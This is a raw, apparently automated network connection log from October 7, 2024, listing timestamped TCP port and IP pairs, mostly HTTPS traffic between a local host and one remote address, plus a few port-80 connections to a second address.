Oct 7, 2024 13:27:03.037074089 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.037264109 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.037369967 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.037429094 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.037441969 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.037471056 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.037471056 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.037522078 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.037537098 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.037543058 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.037549019 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.038863897 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.038896084 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.038917065 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.038927078 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.041646957 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.041699886 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.041796923 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.041834116 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.041891098 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.041975021 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.042063951 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.042076111 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.042175055 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.042195082 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.047768116 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.047796011 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.047926903 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.047939062 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.048070908 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.048166037 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.048166037 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.048186064 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.048198938 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.050641060 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.050683022 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.050744057 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.050888062 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.050904989 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051352024 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051443100 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051762104 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.051788092 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051870108 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051939011 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.051961899 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051973104 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.051973104 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.051980019 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.051986933 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.054002047 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.054011106 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.054224014 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.054311991 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.054325104 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.110927105 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.111581087 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.111610889 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.112117052 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.112128973 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.211608887 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.211896896 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.211986065 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.212028027 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.212048054 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.212064028 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.212069988 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.215224981 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.215261936 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.215390921 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.215564013 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.215581894 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.678052902 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.678268909 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.678488970 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.678513050 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.678961992 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.678966999 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.679219007 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.679234982 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.679640055 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.679645061 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.715768099 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.716172934 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.716192961 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.716595888 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.716602087 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.724366903 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.724684954 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.724692106 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.725089073 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.725092888 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.777647972 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.777859926 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.777935982 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.778018951 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.778034925 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.778045893 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.778050900 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.779190063 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.779916048 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.779963017 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.779977083 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.779994965 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.780036926 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.780246973 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.780262947 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.780272961 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.780277967 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.781197071 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.781229973 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.781301975 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.781430006 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.781445980 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.782242060 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.782277107 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.782352924 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.783412933 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.783427954 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.818866968 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.819186926 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.819267035 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.819355965 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.819370985 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.819380999 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.819391012 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.822640896 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.822665930 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.822798967 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.822917938 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.822930098 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.829444885 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.829477072 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.829523087 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.829541922 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.829586029 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.829698086 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.829720974 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.829744101 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.829755068 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.832288027 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.832319021 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.832379103 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.832504034 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:03.832518101 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.986402035 CEST	49904	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:03.991600990 CEST	80	49904	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:03.991734028 CEST	49904	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:03.991909027 CEST	49904	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:03.996709108 CEST	80	49904	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:04.420180082 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.420821905 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.420836926 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.421437979 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.421441078 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.421710014 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.422005892 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.422045946 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.422410011 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.422424078 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.493752956 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.494704008 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.494750023 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.495224953 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.495229959 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.508727074 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.509596109 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.509618998 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.509955883 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.509959936 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.513144016 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.514159918 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.514183044 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.514631033 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.514640093 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.534514904 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.534543037 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.534590960 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.534636021 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.534667969 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.534914970 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.534939051 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.534953117 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.534959078 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.535087109 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.535229921 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.535284996 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.535403013 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.535403013 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.535419941 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.535429001 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.538952112 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.539001942 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.539074898 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.539427996 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.539439917 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.540041924 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.540057898 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.540157080 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.540257931 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.540267944 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.604412079 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.604455948 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.604513884 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.604563951 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.604634047 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.604969025 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.604989052 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.605000973 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.605006933 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.608597040 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.608676910 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.608772993 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.608974934 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.609014034 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.619607925 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.619687080 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.619796991 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.620023966 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.620044947 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.620058060 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.620063066 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.623177052 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.623239040 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.623333931 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.623579025 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.623603106 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.638932943 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.639035940 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.639189005 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.639242887 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.639264107 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.639276981 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.639283895 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.642205000 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.642245054 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.642338037 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.642554045 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:04.642569065 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:04.696310997 CEST	80	49904	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:04.696470022 CEST	49904	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:05.178854942 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.179780960 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.179801941 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.180695057 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.180701017 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.217524052 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.218907118 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.218940020 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.220045090 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.220051050 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.258795023 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.263288021 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.263317108 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.264230013 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.264235973 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.279102087 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.279176950 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.279232979 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.279232025 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.279277086 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.279527903 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.279544115 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.279557943 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.279563904 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.284030914 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.284069061 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.284245968 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.284456015 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.284466982 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.289374113 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.290431976 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.290467024 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.291042089 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.291048050 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.299330950 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.299935102 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.299957037 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.300458908 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.300467014 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.324162006 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.324239016 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.324294090 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.324534893 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.324553013 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.324567080 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.324572086 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.328114986 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.328166962 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.328241110 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.328387976 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.328399897 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.366308928 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.366487980 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.366544008 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.366604090 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.366632938 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.366813898 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.366836071 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.366848946 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.366856098 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.370028019 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.370080948 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.370170116 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.370336056 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.370342016 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.394675970 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.394738913 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.394860983 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.395148039 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.395172119 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.395184040 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.395190001 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.398531914 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.398580074 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.398715019 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.398761988 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.398904085 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.398922920 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.398936033 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.398998022 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.399035931 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.399058104 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.399081945 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.399087906 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.401812077 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.401834011 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.401911020 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.402064085 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.402079105 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.948962927 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:05.950407028 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:05.950428963 CEST	443	49910	13.107.246.60	192.168.2.5
